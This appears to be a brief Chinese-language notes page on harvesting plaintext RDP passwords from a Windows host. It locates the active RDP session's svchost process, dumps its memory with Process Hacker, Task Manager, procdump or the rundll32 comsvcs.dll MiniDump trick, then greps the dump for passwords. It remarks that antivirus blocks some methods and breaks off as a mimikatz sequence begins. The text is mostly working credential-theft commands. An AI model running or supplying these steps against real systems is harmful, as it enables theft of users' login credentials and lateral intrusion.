我感到有点累了
注意事项
- 适用于本地账户和域帐户
- 必须是正处于 “活动” 状态的 RDP 会话
- 支持 Win8.1 和 Win2012 之后的所有系统
- 转储的是
svchost
进程而不是lsass
- 有时能dump出密码,有时候dump不出来,不知道明文密码会在内存中存在多久
查找rdp连接
PowerShell:netstat -nob | Select-String TermService -Context 1
存在连接,运行下面这条命令,查找 svchost.exe
进程的 pid
tasklist /M:rdpcorets.dll
将显示加载 rdpcorets
dll库的进程
进程转储方式
使用Process Hacker
使用任务管理器。右键单击该过程,然后选择 “创建转储文件”
- 使用 Procdump
procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
- 使用
comsvc.dll
(只在 PowerShell下测试成功)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 进程ID 1.dmp full
(procdump
和comsvcs
两种方式dump关键进程都会被杀软拦截)
翻密码
进程转储出来后,就需要找到里面的明文密码了
- 直接搜用户名没发现密码
strings -el 1.dmp | grep test -C3
- 直接搜密码发现了(怎么精准定位到密码是个问题)
strings -el 1.dmp | grep BBn12345ee -C3
或,直接在目标机器执行mimikatz获取rdp明文密码
1 | privilege::debug |